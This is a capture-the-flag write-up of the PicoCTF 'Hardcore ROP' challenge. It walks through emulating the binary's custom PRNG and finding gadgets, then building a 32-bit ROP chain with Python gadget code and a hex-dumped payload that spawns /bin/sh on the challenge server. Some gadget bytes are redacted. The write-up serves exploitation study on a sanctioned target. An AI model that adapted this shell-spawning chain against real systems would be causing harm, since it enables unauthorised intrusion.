PicoCTF Hardcore ROP

@mrexcessive WHA

The problem https://picoctf.com/problems
Hardcore ROP

This program is obviously broken, but thanks to ASLR, PIE, and NX it's still pretty secure! Right?
NB: This problem is running in a slightly unusual setup to get extra PIE randomness. If you have an exploit that works 100% reliably locally (outside of GDB, which often disables any randomness), but you can't get it to land on our server, feel free to message us for help. [Source] [Binary]

nc vuln2014.picoctf.com 4000

The solution

  • First I tried numstitch aka ropstitch - because I'd just watched a presentation about it on DefCon 22 and it looked pretty interesting. Unfortunately I wasn't able to get it to work... so...

Ran objdump -d on the binary

ROPgadget ?
Needed to update capstone... first... tum ti tum...

python ~/Downloads/ROPgadget/ROPgadget.py --binary ./hardcore_rop

OK produces a ton of info:

Gadgets information
============================================================
0x000010eb : adc al, 3 ; push eax ; xor byte ptr [ecx - 0x3fceefb0], cl ; ret
0x00000a86 : adc byte ptr [ebp + 0x5e5bf465], cl ; pop edi ; pop ebp ; ret

... snip ...

0x000012d5 : xor eax, eax ; mov al, -0xd ; int 0x80
0x000010f2 : xor eax, eax ; ret

Is code always in the same place ?

#main() are you fixed ?
0x26b 
: 0x04244c8d

Well yes, at startup, but PIE then moves everything ... so no.

So... maybe we don't need to actually shell ?
We could just cat ./flag ?
That string is hanging around

Can we get the 0x119f[ebx] somehow... - for [flag]

I guess not...

Maybe just shell OK...


ASIDE I'm using these two little scripts to run the local program as a socket server... to make it easier to transition to the target on remote server:

runserve.sh

#!/bin/sh
while true; do nc -l -p 7777 -e ./run_hcrop.sh ; done

run_hcrop.sh

#!/bin/sh
./hardcore_rop .

both chmod +x

Then at top of python exploit script:

SERVER = "vuln2014.picoctf.com"
PORT = 4000
if debug_localhost:
   SERVER = "127.0.0.1"
   PORT = 7777

End of ASIDE


First thing to do is get crash and know where to put address...
So python (try.py) to send it lots of chars

First I need to modify the program so SIGALARM doesn't go off.. that is annoying.

Find this:

alarm(30); sleep(1);

and patch:

We still get our SIGSEGV- excellent
Invalid $PC address: 0x6a6a6a6a

which is 'k'
which is really early in buffer...
aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkk
All other chars seem to have made it into buffer though.

This is on stack when we crash

(gdb) #top of stack
0000| 0xffd8b190 ("kkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ\n\263\330\377\352\003")

So... this is eminently ROPpable - or at least it would be if I knew how...

(gdb) x/1s 0xffd8b168 ("h") and then 16c, reveals
(gdb) x/1s 0xffd8b16c
0xffd8b16c:     "bbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYY"...

Everything I'm sending seems to survive... lots of space for return address (ROP/POPcode stream)

So... only the "aaaa" at front is being trashed. Ah the program reads that as seed - more on that later !

At the crash:

(gdb) info regi
eax            0xcd    0xcd
ecx            0xffd8b16c    0xffd8b16c
edx            0xffd8b16c    0xffd8b16c
ebx            0x66666666    0x66666666  "ffff
esp            0xffd8b190    0xffd8b190
ebp            0x69696969    0x69696969  "iiii
esi            0x67676767    0x67676767  "gggg
edi            0x68686868    0x68686868  "hhhh
eip            0x6a6a6a6a    0x6a6a6a6a  "jjjj

which is an interesting way to preload registers...

String:
"bbbbccccddddeeee"

Is there anything amazing we can configure just using those ?

OK first the alarm...

     2f5:    c7 04 24 1e 00 00 00    movl   $0x1e,(%esp)           ; alarm(30)
     2fc:    e8 df 08 00 00          call   be0 

We want to patch that to c7 04 24 [ff ff ff 00] for long delay
Patched with bvi
... snip ...

Check segfault same after patch

(gdb) info regi
eax            0xcd    0xcd
ecx            0xffa922cc    0xffa922cc
edx            0xffa922cc    0xffa922cc
ebx            0x66666666    0x66666666
esp            0xffa922f0    0xffa922f0
ebp            0x69696969    0x69696969
esi            0x67676767    0x67676767
edi            0x68686868    0x68686868
eip            0x6a6a6a6a    0x6a6a6a6a

Yer same... good

OK

So... what to do.

We can see ecx is pointing to somewhere on the stack

So POC will be to print a string maybe
Unfortunately ebx has been destroyed...

Stack pointer is at this:

(gdb) x/32xw $esp
0xffa922f0:    0x6b6b6b6b  0x6c6c6c6c  0x6d6d6d6d  0x6e6e6e6e
0xffa92300:    0x6f6f6f6f  0x70707070  0x71717171  0x72727272
0xffa92310:    0x73737373  0x74747474  0x75757575  0x76767676
0xffa92320:    0x77777777  0x78787878  0x79797979  0x7a7a7a7a
0xffa92330:    0x41414141  0x42424242  0x43434343  0x44444444
0xffa92340:    0x45454545  0x46464646  0x47474747  0x48484848
0xffa92350:    0x49494949  0x4a4a4a4a  0x4b4b4b4b  0x4c4c4c4c
0xffa92360:    0x4d4d4d4d  0x4e4e4e4e  0x4f4f4f4f  0x50505050

so "kkkk" onwards will be next off stack

This routine:

     468:                            call   562 <__x86.get_pc_thunk.bx>
     46d:    81 c3 0b 23 00 00       add    $0x230b,%ebx

Is part of the PIE loveliness I think... Will setup ebx correctly though...
Ah... but all that does:

0x00000562 : mov ebx, dword ptr [esp] ; ret

So that is get address of next instruction - find myself... PIC (position independent code) in other words - an executable which is like a shared library, according to notes about PIE on the web.

Unfortunately when we start executing we have no code space value in any register

"Position-independent executable (PIE) implements a random base address for the main executable binary"

What can we set eip to be ?
code/text segment is random

Pause to think...

OK... so looking back at the code (hardcore_rop.c) and I find that, of course, it is written to be exploitable.
We're not supposed to use the progam itself - but a random chunk of ~4096*10 bytes which are filled from PRNG numbers generated from a controllable seed.

You give program a 4byte intvalue ("<I",int) and it calls srand(int)
then it initialises a buffer to random values
buf[i] = rand(); i+=3 (not 4!)
[0-2] = the random value, then 3-5 is next, 6-8 is next... etc Each time i%66 is zero, it writes out a return instruction to [i] - ie.
[0] = xc3, [66] = xc3, [132] = xc3 etc.

Then it makes that buffer readable and executable and announces "ROP time!"
Then it reads up to 555 bytes to overwrite the seed, the *buf pointer

I think that the mmap(,,,) call sets up *buf be addressable as 0x0f000000 for this process

eax is the address returned by mmap, ->void*buf
this is moved to esi and that in turn points to the buffer at 0x0f000000

So... rand(value), called repeatedly, is then fetching ints to fill the table.

We need to generate random files of ints based on srand()ing
and then ROPgadget those files.

We can transfer control into that space because we know it has 0x0f000000 as a valid address

OK so add directory and much of the code/docs. to git at this point...

So... we build our stack of gadgets AFTER the "jjjj" position

First we need to generate possible files of gadgets and pick one.

+ decide to pick a random value... I chose - REDACTED - do this part yourself!
+ first, first, we generate ONE bin, using srand("????"), rand() from python
+ and check numbers returned by rand() line up with data found at 0xf000000 after
+ break point at the puts("ROP time!") in randop()
+ aside: hopefully the srand() in target service will line up with mine

OK... will use random external program I think... I have that code somewhere...

Hmmm... initial first 10 rand() calls in my gcc

7e641c91
335b3ac4
...

But the first rand() call in program... in randop()

0x34d1a088

OK that was using the weird Mersenne Twister thing:

Still failing to get same with srand(), rand() though

peter@KaliA:~/CTFs/picoctf/HardcoreROP$ ./try.py
75d5bb24
00bc0c40
...

Lets check value being passed to srand() call

   0xf77244c5 :    push   DWORD PTR [ebp-0x1c]
=> 0xf77244c8 :    call   0xf77248a4 
0000| 0xfffb9820 ("????L\230\373\377\004")

Hmmm still not getting it.
Maybe need 32bit

$ file random
random: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0x70df232a1d24f54c3469fe825b2c4538017cd78e, not stripped

Try compile to 32bit

g++ random.cc -std=gnu++11 -m32 -o random

So how is "????" passed to srand() anyways....

(gdb) x/1wx 0xffafe4d0
0xffafe4d0:    0x????????
(gdb) x/1wd 0xffafe4d0
0xffafe4d0:    875770417

First few output values from rand()

0x34d1a088 = 886153352
0x7352dae7 = 1934809831
...

Hmmm... still not aligning
Oh crapola... of course... the whole thing is a custom rand()/srand()
Which makes sense, right... to make things easy - everyone gets the same generator

000008a4 <srand>:
     8a4:    e8 63 00 00 00          call   90c <__x86.get_pc_thunk.cx>
     8a9:    81 c1 cf 1e 00 00       add    $0x1ecf,%ecx
     8af:    8b 44 24 04             mov    0x4(%esp),%eax
     8b3:    48                      dec    %eax
     8b4:    89 81 98 00 00 00       mov    %eax,0x98(%ecx)
     8ba:    c7 81 9c 00 00 00 00    movl   $0x0,0x9c(%ecx)
     8c1:    00 00 00 
     8c4:    c3                      ret    

000008c5 <rand>:
     8c5:    53                      push   %ebx
     8c6:    e8 97 fc ff ff          call   562 <__x86.get_pc_thunk.bx>
     8cb:    81 c3 ad 1e 00 00       add    $0x1ead,%ebx
     8d1:    69 83 98 00 00 00 2d    imul   $0x5851f42d,0x98(%ebx),%eax
     8d8:    f4 51 58 
     8db:    69 8b 9c 00 00 00 2d    imul   $0x4c957f2d,0x9c(%ebx),%ecx
     8e2:    7f 95 4c 
     8e5:    01 c1                   add    %eax,%ecx
     8e7:    b8 2d 7f 95 4c          mov    $0x4c957f2d,%eax
     8ec:    f7 a3 98 00 00 00       mull   0x98(%ebx)
     8f2:    01 ca                   add    %ecx,%edx
     8f4:    83 c0 01                add    $0x1,%eax
     8f7:    83 d2 00                adc    $0x0,%edx
     8fa:    89 83 98 00 00 00       mov    %eax,0x98(%ebx)
     900:    89 d0                   mov    %edx,%eax
     902:    89 93 9c 00 00 00       mov    %edx,0x9c(%ebx)
     908:    d1 e8                   shr    %eax
     90a:    5b                      pop    %ebx
     90b:    c3                      ret    

OK can we just do that in python
First try did not work

08d5a271
a0e89cde
...

Need to do IMUL properly. Also was missing eax = edx assignment

Make these. If in doubt, get the processor manual and just get emulation CORRECT

def OP_imul(valA, valB):         # SIGNED - two's complement, so... -1 is 0xffffffff
   negative = False
   if valA & 0x80000000 <> 0:
      valA = ((valA ^ 0xffffffff) & 0xffffffff) + 1      # two's complement -ve number => positive
      negative = not negative    # yes, could say True here... but clearer
   if valB & 0x80000000 <> 0:
      valB = ((valB ^ 0xffffffff) & 0xffffffff) + 1      # two's complement -ve number => positive
      negative = not negative
   bignum = valA * valB
   if negative:         # turn it back to two's complement negative
      bignum = (0x10000000000000000 - bignum) & 0xffffffffffffffff
   msw = bignum >> 32
   lsw = bignum & 0xffffffff
   return (msw,lsw)

def OP_mmul(valA, valB):         # UNSIGNED
   bignum = valA * valB
   msw = bignum >> 32
   lsw = bignum & 0xffffffff
   return (msw,lsw)

NOTE this is a partial emulation because, well don't need to emulate flags impact for example because we know what instructions follow.

OK still not working

Seeding with ???????
values do not agree with those found in gdb in real program...

Compare with hardcore_rop tracing:

Hmmm... I had >= for shift instead of >>=
... oops.

OK now generating correct - same values...
So we can test...
Maybe even loop calling ropgadget!

$ ./try.py seeding with ????????
values... matching !

Still need to do three extra things:

  • advance pointer through buffer 3 bytes at a time, not 4
  • whenever index % 66 == 0: write a 0xc3 to the buffer
  • repeat until loop counter >= (4096 * 10) -4
$ python ~/Downloads/ROPgadget/ROPgadget.py --binary ./hardcore_rop
# not quite right...

$ python ~/Downloads/ROPgadget/ROPgadget.py --rawArch=x86 --rawMode=32 --binary ./gadget.bin 

OK That's how to do it on a raw file like ours

Right so... loads of gadgets

With "????" as seed:

0x000075a6 : clc ; int 0x80
0x0000361d : mov eax, 0x508340c ; ret

Lets check that these are actually present, when we run in debugger:
... Should be 0xf0075a6, I think

Breakpoint at:
   0xf777c506 <randop+164>:    xor    esi,esi
   0xf777c508 <randop+166>:    call   0xf777c828 <mprotect>
   0xf777c50d <randop+171>:    lea    eax,[ebx-0x11c7]
   0xf777c513 <randop+177>:    mov    DWORD PTR [esp],eax
   0xf777c516 <randop+180>:    call   0xf777ca8f <puts>

x/6i 0xf0075a6
   0xf0075a6:    clc    
   0xf0075a7:    int    0x80

and 
x/6i 0xf00361d
   0xf00361d:    mov    eax,0x508340c
   0xf003622:    ret    

Nice !

OK>.. So next step is to build something out of the gadgets which executes and proves the effect
Simples probably system call to print a string maybe ?
See http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html

sys.write
    eax = 4
    ebx = 0 (stdout)
    ecx = char * str
    edx = int strlen

So attack is:
"????" - which replaces the "aaaa" on our message then
"bbbbccccddddeeeeffffgggghhhhiiii" ropgadgets... (strictly, ropgadget addresses and parameters - parameters when pop's)

OK

 info regi
eax            0xcd    0xcd
ecx            0xffe815cc    0xffe815cc
edx            0xffe815cc    0xffe815cc
ebx            0x66666666    0x66666666
esp            0xffe815f0    0xffe815f0
ebp            0x69696969    0x69696969
esi            0x67676767    0x67676767
edi            0x68686868    0x68686868
eip            0x4244cc2    0x4244cc2

We know that ECX will conveniently... be pointing to somewhere on stack

(gdb) x/64xw 0xffe815a0
0xffe815a0:    0x000000cd  0xffe815cc  0x0000022b  0x00000000
0xffe815b0:    0xffe815d8  0xf779f778  0x00009ff9  0xffe815cc
0xffe815c0:    0x00000000  0xffe815d8  0x00000068  0x62626262<-ECX
0xffe815d0:    0x63636363  0x64646464  0x65656565  0x66666666
0xffe815e0:    0x67676767  0x68686868  0x69696969  0x04244cc2

Which is the "bbbb" - how handy is that ! - so direct patch for ECX
EBX is setup from "ffff" - again, handy! - also direct patch
EAX and EDX need a bit more work

OK we can clear EAX by putting \0\0\0\0 into EDI (which was "hhhh") then

0x00004516 : and eax, edi ; ret
0x0000020f : inc eax ; ret
0x0000020f : inc eax ; ret
0x0000020f : inc eax ; ret
0x0000020f : inc eax ; ret            # eax now 4

EDX we can do via ESI... which is in gggg # just force to 12

0x00003e72 : mov edx, esi ; ret
$ ./try.py
Attach gdb now, then Enter to continue
sending [????Hello worldeeee
iiiiREDACTED
]
yo, what's up?
ROP time!
Hello worl*** Connection closed by remote host ***

OK I'm calling that a partial success !

Trying again with bigger number into EDX

$ ./try.py
Attach gdb now, then Enter to continue

sending [????Hello world!eeeeiiiiREDACTED
]
yo, what's up?
ROP time!
Hello world!eeee*** Connection closed by remote host ***

Yes that is working.

So now try on remote server - if this doesn't work there, shell probably won't...

$ ./try.py
sending [????Hello world!eeeeiiiiREDACTED
]
yo, what's up?
ROP time!
Hello world!eeee*** Connection closed by remote host ***

That works - REALLY GOOD PROGRESS !!


So now just (!) need to send a system invoke /bin/sh and see if it works

Erm... http://www.vividmachines.com/shellcode/shellcode.html#linex3
and also my ~/CTFs/tools/shellcode.asm

sys.execve()
    INT x80
    eax = 11 (execve)
    ebx = ^"/bin/sh\0" - so move ecx or edx to ebx
    ecx = ^ ^ "/bin/sh\0"
    edx = ^ 0
        [.0] = ^ "/bin/sh\0" - which is nicely in ECX and EDX already
        [.4] = 0x00000000

Note I am assuming no need for setruid() - at present...

OK

(gdb) info regi
eax            0xcd    0xcd
ecx            0xffe815cc    0xffe815cc
edx            0xffe815cc    0xffe815cc
ebx            0x66666666    0x66666666
esp            0xffe815f0    0xffe815f0
ebp            0x69696969    0x69696969
esi            0x67676767    0x67676767
edi            0x68686868    0x68686868
eip            0x4244cc2    0x4244cc2

We know that ECX will conveniently... be pointing to somewhere on stack

x/64xw 0xffe815a0
0xffe815a0:    0x000000cd  0xffe815cc  0x0000022b  0x00000000
0xffe815b0:    0xffe815d8  0xf779f778  0x00009ff9  0xffe815cc
0xffe815c0:    0x00000000  0xffe815d8  0x00000068  0x62626262<-ECX
0xffe815d0:    0x63636363  0x64646464  0x65656565  0x66666666
0xffe815e0:    0x67676767  0x68686868  0x69696969  0x04244cc2

So in pseudo-rop (not found them all yet ...)

   ANDEAX_EDI  = struct.pack("<I", 0x0f004516)
   INCEAX      = struct.pack("<I", 0x0f00020f)
   MOVEDX_ESI  = struct.pack("<I", 0x0f003e72)
   INT80       = struct.pack("<I", 0x0f0075a6)
      buff += "bbbb/bin/sh\0\0\0\0\0\0\0\0\0\32\0\0\0\0\0\0\0iiii"   # skip past the unused part
      buff += ANDEAX_EDI         # set EAX to 11, first clear it (EDI @ "hhhh" is set 0)
      buff += INCEAX             # then increment 11 times
      buff += INCEAX
      buff += INCEAX
      buff += INCEAX
      buff += INCEAX
      buff += INCEAX
      buff += INCEAX
      buff += INCEAX
      buff += INCEAX
      buff += INCEAX
      buff += INCEAX             # EAX = 11 at this point
      buff += INCEDX *4          # EDX now pointing at the string "/bin/sh\0" - it started pointing at "bbbb"
      buff += MOV[ECX],EDX       # because ECX was pointing at "bbbb"
      buff += INCEDX *8          # EDX now pointing at 0x00000000 (which was "eeee")
      buff += INT80

The tricky bit is the MOVPTRECX,EDX
OK can maybe do with this:

0x000002d0 : adc dword ptr [ecx + 0x57911dd3], edi ; ret
clc !

We can control edi... directly, so can store any value
Actually that is sort of the wrong way around...

Lets do easy one first

0x00009124 : inc edx ; nop ; ret

So that is an inc edx...
Need it in EBX

#     original"bbbbccccdddd e e e e f f f f g    g g g h    h h h iiii"
      buff += "bbbb/bin/sh\0\0\0\0\0\0\0\0\0\0x0f\0\0\0\0x0f\0\0\0iiii"   # skip past the unused part

Grr.. can't write to 0x0f000000 (PROTREAD|PROTEXEC)

All there except MOVPTRECX,EDX now

Maybe

0x00000209 : xchg dword ptr [edx], eax ; mov eax, dword ptr [0x40ea6d2f] ; ret

somehow... before EDX is changed...

      buff += MOVEBX_EDX         # need to get EBX pointing there... 
      buff += MOVPTRECX,EDX      # because ECX was pointing at "bbbb"

Actually both these are not done.

We need EBX to point to same place as ECX and EDX
We need ECX to point to something which has pointer to that place and then 0x00000000

So...

#     original"bbbbcccc d d d d e e e e f f f f g g g g h h h h iiii"
      buff += "/bin/sh\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0iiii"   # skip past the unused part

We want dddd to be overwritten with ^bbbb = ^/bin/sh
We want ECX to point to dddd
There is a gadget to add EBX

0x00004a88 : add ecx, ebx ; ret

We want eeee to be zeros, but EDX to point to it
So add 12 to EDX

Maybe useful:

0x00006dc3 : xchg eax, ebx ; ret
0x00000d67 : xchg eax, ecx ; ret
0x00006ad6 : xchg dword ptr [eax], ebp ; ret

0x00009e4a : lea edx, dword ptr [ecx] ; ret        # could get address  EDX = ^"/bin/sh"
0x00002a88 : xchg eax, edx ; dec edi ; ret        # EAX = ^"/bin/sh", dec EDI no prob.
0x00000d67 : xchg eax, ecx ; ret            # ECX = ^"/bin/sh", EAX = &"/bin/sh"

Now need EBX = EAX, EDX = EAX+12 (or EAX + 12)

No... that is already there... sigh.
OK need a break!


---- back from lunch ----------------------------------------------------------

Recap. We need...

regs:
    eax = 11                - easy
    ebx = ^"/bin/sh\0"      - put ecx or edx into ebx
    ecx = ^ ^ "/bin/sh\0"   - ecx = ^^ hmmm
    edx = ^ null (0)        - easy, edx += 12 will do it as struct: follows shell:
    int 0x80                - easy
shell:  "/bin/sh\0"        - easy, hardcode on stack at "bbbbcccc". ecx=edx=^shell at start
struct:    (void *) ^shell     - need to get original ecx or edx into here
    0x00000000      - easy, hardcode at "eeee"

At entry sending in "????"(for srand()) then "bbbbccccddddeeeeffffgggghhhhiiiijjjjkkkk...."
we have

eax            0xcd    0xcd
ecx            0xffe815cc    \__ both ECX and EDX = ^buffer
edx            0xffe815cc    /
ebx            0x66666666    settable from buffer
esp            0xffe815f0    ^"kkkk"
ebp            0x69696969    "iiii"
esi            0x67676767    "gggg"
edi            0x68686868    "hhhh"
eip            0x6a6a6a6a    "jjjj" = Control over EIP set it to first ROP

"kkkk" onwards is the stack containing ROPcodes/gadget addresses and values for POPs

We could restart gadget hunt with a different code (not "????>" as seed to srand(), but I still tempted to try to make this random value I chose work, we have thousands of gadgets, useable sets are often much smaller)

Hmmm.

we need to store a dword to a ptr
What about:

gadget @ 0x0f001cdf     # stosd dword ptr es:[edi], eax ; ret

-- aside ES: DS: SS: are all the same (probably, but maybe not true in live/server hosted?)

Need to get ^"/bin/sh\0" into eax and ^"dddd" into edi

0x00009bf7 : push edx ; pop ebx ; dec ecx ; ret    # NOTE the dec ecx, needs countering - sideeffect!
0x0000682d : push ebx ; pop eax ; ret        # handy !

Obviously...

   POPEAX      = struct.pack("<I", 0x00001313) # pop eax ; ret

Can be used to put immediate value 11 into EAX ;)

    buff += POPEAX
    buff += struct.pack("<I", 11)        # EAX <- 11

OK This was the code which I had at end:

def CrashIt():
   # the gadgets we will use - see ropgadgets file 
   ANDEAX_EDI  = struct.pack("<I", 0x0f00??16) # and eax, edi ; ret
   INCEAX      = struct.pack("<I", 0x0f00??0f) # inc eax ; ret
   INCECX      = struct.pack("<I", 0x0000??d5) # inc ecx ; ret
   INCEDX      = struct.pack("<I", 0x0f00??24) # inc edx ; nop ; ret
   MOVEDX_ESI  = struct.pack("<I", 0x0f00??72) # mov edx, esi ; ret
   ADDECX_EBX  = struct.pack("<I", 0x0f00??88) # add ecx, ebx ; ret
   INT80       = struct.pack("<I", 0x0f00??a6) # clc ; int 0x80
   XCHGEAX_EDXse      = struct.pack("<I", 0x0f00??88) # xchg eax, edx ; dec edi ; ret
   XCHGEAX_ECX        = struct.pack("<I", 0x0f00??67) # xchg eax, ecx ; ret
   XCHGEAX_EDI        = struct.pack("<I", 0x0000??1d) # xchg eax, edi ; ret
   STOSDPTREDI_EAX    = struct.pack("<I", 0x0f00??df) # stosd dword ptr es:[edi], eax ; ret
   PUSHCOPYEDX2EBXse  = struct.pack("<I", 0x0f00??f7) # push edx ; pop ebx ; dec ecx ; ret
   PUSHCOPYEBX2EAX    = struct.pack("<I", 0x0f00??2d) # push ebx ; pop eax ; ret
   POPEAX      = struct.pack("<I", 0x00001313) # pop eax ; ret

In order to maintain dramatic irony, I will not reveal the three huge, but also tiny, mistakes in the code above !

   buff =  ""
   if True:    # ROP header
      buff += "????"                               # Seed the ROP random we know about
#   original  "bbbbcccc "
      buff += "/bin/sh\0"
#     original"d d d d e e e e f f f f g g g g h h h h iiii"
      buff += "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0iiii"   # skip past the unused part
            # ECX and EDX both pointing at /bin/sh, move ECX forward
      buff += PUSHCOPYEDX2EBXse  # SIDE effect - DEC ECX
      buff += PUSHCOPYEBX2EAX    # one stack push depth is safe
      buff += INCECX             # Now EAX, EBX, ECX, EDX all ^"/bin/sh\0"
      buff += INCEDX #edx+=1     # move EDX to the ^eeee - which will remain 0x00000000
      buff += INCEDX #+2
      buff += INCEDX #+3
      buff += INCEDX #+4
      buff += INCEDX #+5
      buff += INCEDX #+6
      buff += INCEDX #+7
      buff += INCEDX #+8         # EDX now pointing to "dddd", for fill in ^"/bin/sh\0"
      buff += INCECX #ecx+=1     # move ECX
      buff += INCECX #+2 
      buff += INCECX #+3 
      buff += INCECX #+4 
      buff += INCECX #+5 
      buff += INCECX #+6 
      buff += INCECX #+7 
      buff += INCECX #+8         # ECX = ^ ^ "/bin/sh\0"
      buff += INCEAX #eax+=1
      buff += INCEAX #+2
      buff += INCEAX #+3
      buff += INCEAX #+4
      buff += INCEAX #+5
      buff += INCEAX #+6
      buff += INCEAX #+7
      buff += INCEAX #+8         # EAX = location of ^ ^ (same as ECX)
      buff += XCHGEAX_EDI        # move the ^^ pointer from EAX -> EDI
      buff += PUSHCOPYEBX2EAX    # now setup EAX again from EBX
      buff += STOSDPTREDI_EAX    # [EDI] <- EAX
      buff += INCEDX #+9
      buff += INCEDX #+10
      buff += INCEDX #+11
      buff += INCEDX #+12        # EDX = ^ 0x00000000 (which was "eeee")
      buff += POPEAX                   # this pair...
      buff += struct.pack("<I",11)     # ...sets EAX to 11
      buff += INT80

Did not work...
Go back briefly to test "Hello world! to check nothing bad introduced.
OK That still works... Good

OK so what I'm sending is:

?? ?? ?? ?? 2f 62 69 6e - 2f 73 68 00 00 00 00 00    ????/bin/sh.....
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00    ................
69 69 69 69 f7 9b 00 0f - 2d 68 00 0f d5 86 00 00    iiii....-h......
24 91 00 0f 24 91 00 0f - 24 91 00 0f 24 91 00 0f    $...$...$...$...
24 91 00 0f 24 91 00 0f - 24 91 00 0f 24 91 00 0f    $...$...$...$...
d5 86 00 00 d5 86 00 00 - d5 86 00 00 d5 86 00 00    ................
d5 86 00 00 d5 86 00 00 - d5 86 00 00 d5 86 00 00    ................
0f 02 00 0f 0f 02 00 0f - 0f 02 00 0f 0f 02 00 0f    ................
0f 02 00 0f 0f 02 00 0f - 0f 02 00 0f 0f 02 00 0f    ................
1d 2d 00 00 2d 68 00 0f - df 1c 00 0f 24 91 00 0f    .-..-h......$...
24 91 00 0f 24 91 00 0f - 24 91 00 0f 13 13 00 00    $...$...$.......
0b 00 00 00 a6 75 00 0f - 0a                         .....u...

Quick check all the intentions of ROPs look good
Not doublechecked the code matches what I though again... maybe there is a coding error ?

OK testing in the Hello world
and replacing

#      buff += ANDEAX_EDI         # set EAX to 4, first clear it (EDI @ "hhhh" is set 0)
#      buff += INCEAX             # then increment 4 times
#      buff += INCEAX
#      buff += INCEAX
#      buff += INCEAX
with
      buff += POPEAX                  # this pair...
      buff += struct.pack("<I",4)     # ...sets EAX to 4

This does not work to get 4 into EAX
... or something else goes wrong which then breaks Hello world.

OK I had not included the 'f' into the POPEAX address

   POPEAX      = struct.pack("<I", 0x0f001313) # pop eax ; ret

Would certainly have not worked... maybe now... well that was one tiny mistake.

OK Hello world now works with that POPEAX

Lets try shell again...!
Nope

OK lets do all the setup, then call the other routine to display.
Ah similar two more of that problem to solve.

      XCHGEAX_EDI       = struct.pack("<I", 0x0f002d1d) # xchg eax, edi ; ret
       INCECX also broken

And done
$ ./try.py

sending:
?? ?? ?? ?? 2f 62 69 6e - 2f 73 68 00 00 00 00 00    ????/bin/sh.....
00 00 00 00 00 00 00 00 - 1a 00 00 00 00 00 00 00    ................
69 69 69 69 f7 9b 00 0f - 2d 68 00 0f d5 86 00 0f    iiii....-h......
24 91 00 0f 24 91 00 0f - 24 91 00 0f 24 91 00 0f    $...$...$...$...
24 91 00 0f 24 91 00 0f - 24 91 00 0f 24 91 00 0f    $...$...$...$...
d5 86 00 0f d5 86 00 0f - d5 86 00 0f d5 86 00 0f    ................
d5 86 00 0f d5 86 00 0f - d5 86 00 0f d5 86 00 0f    ................
0f 02 00 0f 0f 02 00 0f - 0f 02 00 0f 0f 02 00 0f    ................
0f 02 00 0f 0f 02 00 0f - 0f 02 00 0f 0f 02 00 0f    ................
1d 2d 00 0f 2d 68 00 0f - df 1c 00 0f 24 91 00 0f    .-..-h......$...
24 91 00 0f 24 91 00 0f - 24 91 00 0f 13 13 00 0f    $...$...$.......
0b 00 00 00 a6 75 00 0f - 0a                         .....u...
yo, what's up?
ROP time!
ls
...

*Nice - that works locally... *

OK git commit...
then try on remote server

* YES ! *

flag
hardcore_rop
cat flag
{REDACTED - a flag was displayed here}

git commit for success and start sanitising/redacting notes for writeup...


OK you did this... what challenge next.
Another nice emulation challenge, with two small prizes (before end June 2015)


https://www.whitehatters.academy/bsides-2015-ctf-emulation/